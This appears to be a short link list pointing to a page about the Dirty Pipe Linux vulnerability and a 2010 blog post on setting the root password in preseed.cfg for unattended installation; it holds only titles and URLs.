* [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)
|
||
* [Setting the root password in preseed.cfg for unattended installation - Sebest - Mar 31, 2010](https://sebest.github.io/post/setting-the-root-password-in-preseed-cfg-for-unattended-installation/) |